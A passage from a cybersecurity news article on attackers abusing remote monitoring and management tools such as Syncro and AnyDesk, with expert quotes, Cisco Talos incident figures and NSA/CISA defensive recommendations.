Even software with no obvious relationship with cybersecurity can be repurposed for evil. As just one example, North Korean hacking clusters have been observed hijacking email marketing services to send phishing lures past spam filters.

In this case, RMMs have become ubiquitous in recent years, allowing attackers who use them an easy way to hide in plain sight. More than anything, though, it's the degree of autonomy that RMMs require in order to perform their normal functions that hackers turn to their advantage.

"Many RMM systems use tools that are built into the operating system," Erich Kron, security awareness advocate at KnowBe4, explains to Dark Reading. "These, as well as purpose-built RMM tools, typically have very high levels of system access, making them very valuable to attackers."

"To add to the issue," Kron notes, "RMM tools are often excluded from security monitoring as they can trigger false positives and appear malicious and unusual when doing their legitimate work."

Added together, "it makes the activities much harder to spot as they blend in with normal computing operations," he adds. Organizations that manage to spot the difference will find further headaches in preventing malicious use of RMMs, while maintaining legitimate use of RMMs over the same systems.

It's no wonder, then, that more hackers are adopting these programs into their attack flows. In a Jan. 26 report covering their incident response findings from the fourth quarter of 2022, Cisco Talos made special note of Syncro, an RMM they encountered in nearly 30% of all engagements.

It was "a significant increase compared to previous quarters," Talos researchers explained. "Syncro was among many other remote access and management tools, including AnyDesk and SplashTop, that adversaries leveraged to establish and maintain remote access to compromised hosts."

To conclude their notice, the NSA, CISA, and MS-ISAC suggested steps that network defenders can take to combat RMM-enabled attacks, including:

*   Good hygiene and awareness around phishing,
*   Identifying remote access software on your network and whether it's only being loaded into memory,
*   Implementing controls against, and auditing for, unauthorized RMMs running as a portable executable,
*   Requiring that RMMs only ever be used over approved virtual private networks and virtual desktop interfaces, and
*   Blocking connections on common RMM ports and protocols at the network perimeter.

Tag

#mac